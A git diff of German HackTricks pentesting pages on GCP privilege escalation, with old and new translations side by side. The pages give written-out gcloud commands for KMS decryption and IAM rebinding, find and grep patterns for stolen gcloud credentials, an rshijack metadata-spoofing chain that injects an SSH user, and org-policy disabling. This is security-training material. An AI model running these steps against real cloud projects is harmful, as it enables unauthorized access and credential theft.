- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (wenn Google OIDC verwendet wird)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Sie finden ein Beispiel, wie man ein OpenID-Token im Namen eines Dienstkontos erstellt [**hier**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Ein Beispiel, wie man ein OpenID-Token im Namen eines Service Accounts erstellt, finden Sie [**hier**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@@ -4,17 +4,19 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Informationen über KMS:
|
||||
Informationen zu KMS:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Beachten Sie, dass in KMS die **Berechtigungen** nicht nur von Organisationen, Ordnern und Projekten **vererbt** werden, sondern auch von **Keyrings**.
|
||||
Beachte, dass in KMS die **Berechtigungen** nicht nur **vererbt** werden von Orgs, Folders und Projects, sondern auch von **Keyrings**.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
Sie können diese Berechtigung verwenden, um **Informationen mit dem Schlüssel** zu **entschlüsseln**, über den Sie diese Berechtigung haben.
|
||||
Du kannst diese Berechtigung verwenden, um **Daten mit dem Key zu entschlüsseln**, für den du diese Berechtigung besitzt.
|
||||
|
||||
<details><summary>Daten mit KMS key entschlüsseln</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte **sich selbst Berechtigungen geben**, um den Schlüssel zur Entschlüsselung von Informationen zu verwenden.
|
||||
Ein Angreifer mit dieser Berechtigung könnte sich **Berechtigungen geben**, um den Schlüssel zur Entschlüsselung von Informationen zu verwenden.
|
||||
|
||||
<details><summary>Weise dir die KMS-Decrypter-Rolle zu</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Hier ist eine konzeptionelle Aufschlüsselung, wie diese Delegation funktioniert:
|
||||
Hier eine konzeptionelle Übersicht, wie diese Delegation funktioniert:
|
||||
|
||||
1. **Service Account A** hat direkten Zugriff auf die Entschlüsselung mit einem bestimmten Schlüssel in KMS.
|
||||
2. **Service Account B** wird die Berechtigung `useToDecryptViaDelegation` gewährt. Dies ermöglicht es ihm, KMS zu bitten, Daten im Namen von Service Account A zu entschlüsseln.
|
||||
1. **Service Account A** hat direkten Zugriff, um mit einem bestimmten Key in KMS zu decrypten.
|
||||
2. **Service Account B** erhält die Berechtigung `useToDecryptViaDelegation`. Dadurch kann es KMS anfragen, Daten im Auftrag von Service Account A zu decrypten.
|
||||
|
||||
Die Nutzung dieser **Berechtigung ist implizit in der Art und Weise, wie der KMS-Dienst Berechtigungen überprüft**, wenn eine Entschlüsselungsanfrage gestellt wird.
|
||||
Die Verwendung dieser **Berechtigung ist implizit in der Art, wie der KMS-Service Berechtigungen prüft**, wenn eine decryption-Anfrage gestellt wird.
|
||||
|
||||
Wenn Sie eine standardmäßige Entschlüsselungsanfrage über die Google Cloud KMS API (in Python oder einer anderen Sprache) stellen, **überprüft der Dienst, ob das anfragende Dienstkonto die erforderlichen Berechtigungen hat**. Wenn die Anfrage von einem Dienstkonto mit der **`useToDecryptViaDelegation`** Berechtigung gestellt wird, überprüft KMS, ob dieses **Konto berechtigt ist, die Entschlüsselung im Namen der Entität, die den Schlüssel besitzt, anzufordern**.
|
||||
Wenn Sie eine normale decryption-Anfrage über die Google Cloud KMS API (in Python oder einer anderen Sprache) stellen, prüft der Service **ob das anfragende Service Account die notwendigen Berechtigungen hat**. Wird die Anfrage von einem Service Account mit der **`useToDecryptViaDelegation`**-Berechtigung gestellt, verifiziert KMS, ob dieses **Service Account berechtigt ist, eine decryption im Namen der Entität anzufordern, die den Key besitzt**.
|
||||
|
||||
#### Einrichtung für Delegation
|
||||
|
||||
1. **Definieren Sie die benutzerdefinierte Rolle**: Erstellen Sie eine YAML-Datei (z. B. `custom_role.yaml`), die die benutzerdefinierte Rolle definiert. Diese Datei sollte die Berechtigung `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` enthalten. Hier ist ein Beispiel, wie diese Datei aussehen könnte:
|
||||
1. **Define the Custom Role**: Erstellen Sie eine YAML-Datei (z. B. `custom_role.yaml`), die die custom role definiert. Diese Datei sollte die Berechtigung `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` enthalten. Hier ein Beispiel, wie diese Datei aussehen könnte:
|
||||
|
||||
<details><summary>YAML-Definition der Custom Role</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **Erstellen Sie die benutzerdefinierte Rolle mit der gcloud CLI**: Verwenden Sie den folgenden Befehl, um die benutzerdefinierte Rolle in Ihrem Google Cloud-Projekt zu erstellen:
|
||||
</details>
|
||||
|
||||
2. **Erstelle die benutzerdefinierte Rolle mit der gcloud CLI**: Verwende den folgenden Befehl, um die benutzerdefinierte Rolle in deinem Google Cloud-Projekt zu erstellen:
|
||||
|
||||
<details><summary>Benutzerdefinierte KMS-Rolle erstellen</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
Ersetzen Sie `[YOUR_PROJECT_ID]` durch Ihre Google Cloud-Projekt-ID.
|
||||
Ersetze `[YOUR_PROJECT_ID]` durch deine Google Cloud-Projekt-ID.
|
||||
|
||||
3. **Gewähren Sie die benutzerdefinierte Rolle einem Dienstkonto**: Weisen Sie Ihr benutzerdefiniertes Rolle einem Dienstkonto zu, das diese Berechtigung verwenden wird. Verwenden Sie den folgenden Befehl:
|
||||
</details>
|
||||
|
||||
3. **Vergib die benutzerdefinierte Rolle an ein Servicekonto**: Weise deine benutzerdefinierte Rolle einem Servicekonto zu, das diese Berechtigung verwenden wird. Verwende den folgenden Befehl:
|
||||
|
||||
<details><summary>Benutzerdefinierte Rolle an Servicekonto vergeben</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
Ersetzen Sie `[YOUR_PROJECT_ID]` und `[SERVICE_ACCOUNT_EMAIL]` durch Ihre Projekt-ID und die E-Mail des Dienstkontos.
|
||||
Ersetze `[YOUR_PROJECT_ID]` und `[SERVICE_ACCOUNT_EMAIL]` durch deine Projekt-ID bzw. die E-Mail des Servicekontos.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+27
-19
@@ -1,40 +1,40 @@
|
||||
# GCP - lokale Privilegieneskalation SSH-Pivoting
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
In diesem Szenario nehmen wir an, dass Sie **ein nicht privilegiertes Konto** innerhalb einer VM in einem Compute Engine-Projekt **kompromittiert haben**.
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
|
||||
Erstaunlicherweise können die GCP-Berechtigungen der Compute Engine, die Sie kompromittiert haben, Ihnen helfen, **lokale Privilegien innerhalb einer Maschine zu eskalieren**. Auch wenn das in einer Cloud-Umgebung nicht immer sehr hilfreich ist, ist es gut zu wissen, dass es möglich ist.
|
||||
Erstaunlicherweise können die GPC-Berechtigungen der kompromittierten Compute Engine dir dabei helfen, lokal auf einer Maschine Privilegien zu eskalieren. Auch wenn das in einer Cloud-Umgebung nicht immer sehr hilfreich ist, ist es gut zu wissen, dass es möglich ist.
|
||||
|
||||
## Skripte lesen <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute-Instanzen** sind wahrscheinlich da, um **einige Skripte auszuführen**, um Aktionen mit ihren Dienstkonten durchzuführen.
|
||||
**Compute Instances** dienen wahrscheinlich dazu, **einige Skripte auszuführen**, um Aktionen mit ihren service accounts durchzuführen.
|
||||
|
||||
Da IAM sehr granular ist, kann ein Konto **Lese-/Schreib**-Berechtigungen für eine Ressource haben, aber **keine Listenberechtigungen**.
|
||||
Da IAM sehr granular ist, kann ein Konto Lese-/Schreibrechte für eine Ressource besitzen, aber keine List-Rechte.
|
||||
|
||||
Ein großartiges hypothetisches Beispiel dafür ist eine Compute-Instanz, die die Berechtigung hat, Backups in einen Speicher-Bucket namens `instance82736-long-term-xyz-archive-0332893` zu lesen/schreiben.
|
||||
Ein gutes hypothetisches Beispiel ist eine Compute Instance, die die Berechtigung hat, Backups in einen storage bucket namens `instance82736-long-term-xyz-archive-0332893` zu lesen/schreiben.
|
||||
|
||||
Wenn Sie `gsutil ls` von der Kommandozeile ausführen, wird nichts zurückgegeben, da dem Dienstkonto die IAM-Berechtigung `storage.buckets.list` fehlt. Wenn Sie jedoch `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` ausführen, finden Sie möglicherweise ein vollständiges Dateisystem-Backup, das Ihnen unverschlüsselten Zugriff auf Daten gibt, auf die Ihr lokales Linux-Konto keinen Zugriff hat.
|
||||
Wenn du `gsutil ls` in der Kommandozeile ausführst, liefert das nichts zurück, da dem service account die `storage.buckets.list` IAM-Berechtigung fehlt. Wenn du jedoch `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` ausführst, findest du möglicherweise ein komplettes Dateisystem-Backup, das dir Klartextzugriff auf Daten gewährt, die deinem lokalen Linux-Konto fehlen.
|
||||
|
||||
Sie könnten in der Lage sein, diesen Bucket-Namen in einem Skript (in Bash, Python, Ruby...) zu finden.
|
||||
Du kannst diesen Bucket-Namen möglicherweise in einem Skript (in bash, Python, Ruby...) finden.
|
||||
|
||||
## Benutzerdefinierte Metadaten
|
||||
## Custom Metadata
|
||||
|
||||
Administratoren können [benutzerdefinierte Metadaten](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) auf **Instanz-** und **Projektebene** hinzufügen. Dies ist einfach eine Möglichkeit, **willkürliche Schlüssel/Wert-Paare in eine Instanz zu übergeben**, und wird häufig für Umgebungsvariablen und Start-/Herunterfahrskripte verwendet.
|
||||
Administratoren können [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) auf **instance**- und **project level** hinzufügen. Dies ist einfach eine Möglichkeit, **beliebige Schlüssel-/Wert-Paare an eine Instanz** zu übergeben und wird häufig für Umgebungsvariablen sowie Start-/Herunterfahr-Skripte verwendet.
|
||||
|
||||
Darüber hinaus ist es möglich, **Benutzerdaten** hinzuzufügen, die ein Skript sind, das **jedes Mal ausgeführt wird**, wenn die Maschine gestartet oder neu gestartet wird und das auch **vom Metadaten-Endpunkt aus zugegriffen werden kann.**
|
||||
Außerdem ist es möglich, **userdata** hinzuzufügen — ein Skript, das bei jedem Start oder Neustart der Maschine **ausgeführt** wird und das auch über den metadata endpoint **zugänglich** ist.
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **Missbrauch von IAM-Berechtigungen**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
Die meisten der folgenden vorgeschlagenen Berechtigungen werden **dem Standard-Compute-SA** erteilt, das einzige Problem ist, dass der **Standardzugriffsbereich den SA daran hindert, sie zu verwenden**. Wenn jedoch der **`cloud-platform`** **Bereich** aktiviert ist oder nur der **`compute`** **Bereich** aktiviert ist, können Sie diese **ausnutzen**.
|
||||
Die meisten der folgenden vorgeschlagenen Berechtigungen werden dem **default Compute SA** gewährt; das einzige Problem ist, dass der **default access scope den SA an der Nutzung hindert**. Wenn jedoch der `cloud-platform` **scope** oder zumindest der `compute` **scope** aktiviert ist, wirst du in der Lage sein, sie zu **missbrauchen**.
|
||||
|
||||
Überprüfen Sie die folgenden Berechtigungen:
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,12 +42,16 @@ Die meisten der folgenden vorgeschlagenen Berechtigungen werden **dem Standard-C
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## Suche nach Schlüsseln im Dateisystem
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
Überprüfen Sie, ob andere Benutzer in gcloud innerhalb der Box angemeldet sind und ihre Anmeldeinformationen im Dateisystem hinterlassen haben:
|
||||
Prüfe, ob sich andere Benutzer mit gcloud auf dem System angemeldet und ihre Zugangsdaten im Dateisystem hinterlassen haben:
|
||||
|
||||
<details><summary>Nach gcloud-Zugangsdaten im Dateisystem suchen</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
</details>
|
||||
|
||||
Dies sind die interessantesten Dateien:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
@@ -55,7 +59,9 @@ Dies sind die interessantesten Dateien:
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### Weitere API-Schlüssel Regexes
|
||||
### Weitere API-Schlüssel-Regexes
|
||||
|
||||
<details><summary>Grep-Muster für GCP-Anmeldeinformationen und Schlüssel</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
+32
-17
@@ -2,47 +2,62 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Initial State
|
||||
## Ausgangszustand
|
||||
|
||||
In beiden Berichten, in denen diese Technik beschrieben wird, gelang es den Angreifern, **root**-Zugriff innerhalb eines **Docker**-Containers zu erhalten, der von GCP verwaltet wird, mit Zugriff auf das Host-Netzwerk (und den Berechtigungen **`CAP_NET_ADMIN`** und **`CAP_NET_RAW`**).
|
||||
In beiden Writeups, in denen diese Technik beschrieben wird, gelang es den Angreifern, innerhalb eines von GCP verwalteten **Docker**-Containers mit Zugriff auf das Host-Netzwerk **root**-Zugriff zu erlangen (und die Fähigkeiten **`CAP_NET_ADMIN`** und **`CAP_NET_RAW`** zu besitzen).
|
||||
|
||||
## Attack Explanation
|
||||
## Erklärung des Angriffs
|
||||
|
||||
Auf einer Google Compute Engine-Instanz zeigt die regelmäßige Überprüfung des Netzwerkverkehrs zahlreiche **unverschlüsselte HTTP-Anfragen** an die **Metadata-Instanz** unter `169.254.169.254`. Der [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), ein Open-Source-Dienst, stellt häufig solche Anfragen.
|
||||
Bei der regulären Analyse des Netzwerkverkehrs auf einer Google Compute Engine-Instanz fallen zahlreiche unverschlüsselte **HTTP-Anfragen** an die Metadata-Instanz unter 169.254.169.254 auf. Der [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), ein Open-Source-Service, stellt häufig solche Anfragen.
|
||||
|
||||
Dieser Agent ist darauf ausgelegt, **Änderungen in den Metadaten zu überwachen**. Besonders hervorzuheben ist, dass die Metadaten ein **Feld für SSH-Öffentlichkeits-Schlüssel** enthalten. Wenn ein neuer öffentlicher SSH-Schlüssel zu den Metadaten hinzugefügt wird, autorisiert der Agent ihn automatisch in der Datei `.authorized_key`. Er kann auch **einen neuen Benutzer erstellen** und ihn bei Bedarf zu **sudoers** hinzufügen.
|
||||
Dieser Agent ist dafür ausgelegt, **Änderungen in den Metadaten zu überwachen**. Bemerkenswert ist, dass die Metadaten ein **Feld für SSH public keys** enthalten. Wenn ein neuer öffentlicher SSH-Schlüssel zu den Metadaten hinzugefügt wird, autorisiert der Agent ihn automatisch in der Datei `.authorized_key`. Er kann außerdem **einen neuen Benutzer anlegen** und diesen bei Bedarf zu den **sudoers** hinzufügen.
|
||||
|
||||
Der Agent überwacht Änderungen, indem er eine Anfrage sendet, um **alle Metadatenwerte rekursiv abzurufen** (`GET /computeMetadata/v1/?recursive=true`). Diese Anfrage ist so konzipiert, dass der Metadatenserver nur dann eine Antwort sendet, wenn es seit dem letzten Abruf eine Änderung in den Metadaten gegeben hat, identifiziert durch ein Etag (`wait_for_change=true&last_etag=`). Zusätzlich wird ein **Timeout**-Parameter (`timeout_sec=`) einbezogen. Wenn innerhalb des angegebenen Timeouts keine Änderung erfolgt, antwortet der Server mit den **unveränderten Werten**.
|
||||
Der Agent überwacht Änderungen, indem er eine Anfrage sendet, um alle Metadatenwerte rekursiv abzurufen (`GET /computeMetadata/v1/?recursive=true`). Diese Anfrage ist so gestaltet, dass der Metadata-Server nur dann eine Antwort liefert, wenn sich die Metadaten seit der letzten Abfrage geändert haben, identifiziert durch ein ETag (`wait_for_change=true&last_etag=`). Zusätzlich wird ein **Timeout**-Parameter (`timeout_sec=`) übergeben. Falls sich innerhalb des angegebenen Timeouts nichts ändert, antwortet der Server mit den **unveränderten Werten**.
|
||||
|
||||
Dieser Prozess ermöglicht es dem **IMDS** (Instance Metadata Service), nach **60 Sekunden** zu antworten, wenn keine Konfigurationsänderung stattgefunden hat, was ein potenzielles **Fenster für das Injizieren einer gefälschten Konfigurationsantwort** an den Gast-Agenten schafft.
|
||||
Dieser Prozess erlaubt es dem **IMDS** (Instance Metadata Service), nach **60 Sekunden** zu antworten, falls keine Konfigurationsänderung stattgefunden hat, wodurch ein potenzielles **Fenster für das Einspeisen einer gefälschten Konfigurationsantwort** an den Guest Agent entsteht.
|
||||
|
||||
Ein Angreifer könnte dies ausnutzen, indem er einen **Man-in-the-Middle (MitM)-Angriff** durchführt, die Antwort des IMDS-Servers fälscht und **einen neuen öffentlichen Schlüssel einfügt**. Dies könnte unbefugten SSH-Zugriff auf das Host-System ermöglichen.
|
||||
Ein Angreifer könnte dies ausnutzen, indem er eine Man-in-the-Middle (MitM) attack durchführt, die Antwort des IMDS-Servers fälscht und einen **neuen Public Key einfügt**. Dadurch könnte unautorisierter SSH-Zugriff auf den Host ermöglicht werden.
|
||||
|
||||
### Escape Technique
|
||||
### Escape-Technik
|
||||
|
||||
Während ARP-Spoofing in Google Compute Engine-Netzwerken ineffektiv ist, kann eine [**modifizierte Version von rshijack**](https://github.com/ezequielpereira/rshijack), die von [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) entwickelt wurde, für die Paket-Injektion in der Kommunikation verwendet werden, um den SSH-Benutzer einzufügen.
|
||||
Während ARP-Spoofing in Google Compute Engine-Netzwerken unwirksam ist, kann eine [**modifizierte Version von rshijack**](https://github.com/ezequielpereira/rshijack), entwickelt von [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html), verwendet werden, um Pakete in der Kommunikation zu injizieren und den SSH-Benutzer einzuspeisen.
|
||||
|
||||
Diese Version von rshijack ermöglicht die Eingabe der ACK- und SEQ-Nummern als Befehlszeilenargumente, was das Spoofing einer Antwort vor der echten Antwort des Metadatenservers erleichtert. Zusätzlich wird ein [**kleines Shell-Skript**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) verwendet, um eine **speziell gestaltete Payload** zurückzugeben. Diese Payload löst den Google Guest Agent aus, um **einen Benutzer `wouter`** mit einem angegebenen öffentlichen Schlüssel in der Datei `.authorized_keys` zu erstellen.
|
||||
Diese Version von rshijack erlaubt es, die ACK- und SEQ-Nummern als Kommandozeilenargumente einzuspeisen, was das Fälschen einer Antwort vor der echten Antwort des Metadata-Servers erleichtert. Zusätzlich wird ein [**kleines Shell-Skript**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) verwendet, um eine **speziell gestaltete Payload** zurückzugeben. Diese Payload veranlasst den Google Guest Agent dazu, den Benutzer `wouter` mit einem angegebenen Public Key in der Datei `.authorized_keys` anzulegen.
|
||||
|
||||
Das Skript verwendet dasselbe ETag, um zu verhindern, dass der Metadatenserver den Google Guest Agent sofort über unterschiedliche Metadatenwerte informiert, wodurch die Antwort verzögert wird.
|
||||
Das Skript verwendet dasselbe ETag, um zu verhindern, dass der Metadata-Server den Google Guest Agent sofort über unterschiedliche Metadatenwerte informiert, und verzögert so die Antwort.
|
||||
|
||||
Um das Spoofing auszuführen, sind die folgenden Schritte erforderlich:
|
||||
Um das Spoofing durchzuführen, sind folgende Schritte erforderlich:
|
||||
|
||||
1. **Überwachen Sie Anfragen an den Metadatenserver** mit **tcpdump**:
|
||||
1. **Überwache Anfragen an den Metadata-Server** mit **tcpdump**:
|
||||
|
||||
<details>
|
||||
<summary>Überwache Metadata-Server-Anfragen mit tcpdump</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
Bitte suchen Sie nach einer Zeile, die ähnlich ist wie:
|
||||
</details>
|
||||
|
||||
Suchen Sie nach einer Zeile, die etwa so aussieht:
|
||||
|
||||
<details>
|
||||
<summary>Beispiel tcpdump-Ausgabezeile</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. Senden Sie die gefälschten Metadaten mit dem korrekten ETAG an rshijack:
|
||||
</details>
|
||||
|
||||
2. Sende die gefälschten Metadaten mit dem korrekten ETAG an rshijack:
|
||||
|
||||
<details>
|
||||
<summary>Gefälschte Metadaten senden und per SSH auf den Host zugreifen</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
</details>
|
||||
|
||||
Dieser Schritt autorisiert den öffentlichen Schlüssel und ermöglicht die SSH-Verbindung mit dem entsprechenden privaten Schlüssel.
|
||||
|
||||
## Referenzen
|
||||
## Quellen
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
+22
-7
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
Ein Angreifer, der **orgpolicy.policy.set** nutzt, kann Organisationsrichtlinien manipulieren, wodurch er bestimmte Einschränkungen aufheben kann, die bestimmte Aktionen verhindern. Zum Beispiel verhindert die Einschränkung **appengine.disableCodeDownload** üblicherweise das Herunterladen des App Engine-Quellcodes. Durch die Verwendung von **orgpolicy.policy.set** kann ein Angreifer diese Einschränkung jedoch deaktivieren und so Zugriff erhalten, um den Quellcode herunterzuladen, obwohl er ursprünglich geschützt war.
|
||||
Ein Angreifer, der **orgpolicy.policy.set** ausnutzt, kann Organisationsrichtlinien manipulieren, wodurch er bestimmte Beschränkungen entfernen kann, die bestimmte Vorgänge behindern. Zum Beispiel verhindert die Einschränkung **appengine.disableCodeDownload** normalerweise das Herunterladen von App Engine-Quellcode. Durch die Nutzung von **orgpolicy.policy.set** kann ein Angreifer diese Einschränkung jedoch deaktivieren und sich so Zugriff verschaffen, um den Quellcode herunterzuladen, obwohl dieser ursprünglich geschützt war.
|
||||
|
||||
<details>
|
||||
<summary>Org-Policy-Informationen abrufen und Durchsetzung deaktivieren</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
Ein Python-Skript für diese Methode befindet sich [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
</details>
|
||||
|
||||
Ein Python-Skript für diese Methode ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) zu finden.
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Normalerweise ist es nicht möglich, ein Servicekonto aus einem anderen Projekt an eine Ressource anzuhängen, da eine Richtlinienbeschränkung mit dem Namen **`iam.disableCrossProjectServiceAccountUsage`** durchgesetzt wird, die diese Aktion verhindert.
|
||||
Normalerweise ist es nicht möglich, einen Service Account aus einem anderen Projekt an eine Ressource anzuhängen, da eine Richtlinienbeschränkung namens **`iam.disableCrossProjectServiceAccountUsage`** dies verhindert.
|
||||
|
||||
Es ist möglich zu überprüfen, ob diese Beschränkung durchgesetzt wird, indem man den folgenden Befehl ausführt:
|
||||
Sie können überprüfen, ob diese Einschränkung durchgesetzt ist, indem Sie den folgenden Befehl ausführen:
|
||||
|
||||
<details>
|
||||
<summary>Einschränkung für projektübergreifende Service Account-Nutzung überprüfen</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,15 +39,22 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
Dies verhindert, dass ein Angreifer die Berechtigung **`iam.serviceAccounts.actAs`** missbraucht, um sich als Servicekonto aus einem anderen Projekt auszugeben, ohne die dafür sonst erforderlichen zusätzlichen Infrastruktur-Berechtigungen (z. B. zum Starten einer neuen VM) zu besitzen, was zu einer Privilegieneskalation führen könnte.
|
||||
</details>
|
||||
|
||||
Allerdings kann ein Angreifer mit den Rechten **`orgpolicy.policy.set`** diese Einschränkung umgehen, indem er die Constraint **`iam.disableServiceAccountProjectWideAccess`** deaktiviert. Dadurch kann der Angreifer ein Servicekonto aus einem anderen Projekt an eine Ressource in seinem eigenen Projekt anhängen und so effektiv seine Privilegien eskalieren.
|
||||
Dies verhindert, dass ein attacker die Berechtigung **`iam.serviceAccounts.actAs`** missbraucht, um ein service account aus einem anderen Projekt zu impersonieren, ohne die zusätzlich erforderlichen Infrastruktur-Berechtigungen (z. B. zum Starten einer neuen VM), was zu privilege escalation führen könnte.
|
||||
|
||||
Dennoch kann ein attacker mit der Berechtigung **`orgpolicy.policy.set`** diese Einschränkung umgehen, indem er die Constraint **`iam.disableServiceAccountProjectWideAccess`** deaktiviert. Dadurch kann der attacker ein service account aus einem anderen Projekt an eine Ressource in seinem eigenen Projekt anhängen und so effektiv seine Privilegien erhöhen.
|
||||
|
||||
<details>
|
||||
<summary>Disable cross-project service account constraint</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
## Quellen
|
||||
</details>
|
||||
|
||||
## Referenzen
|
||||
|
||||
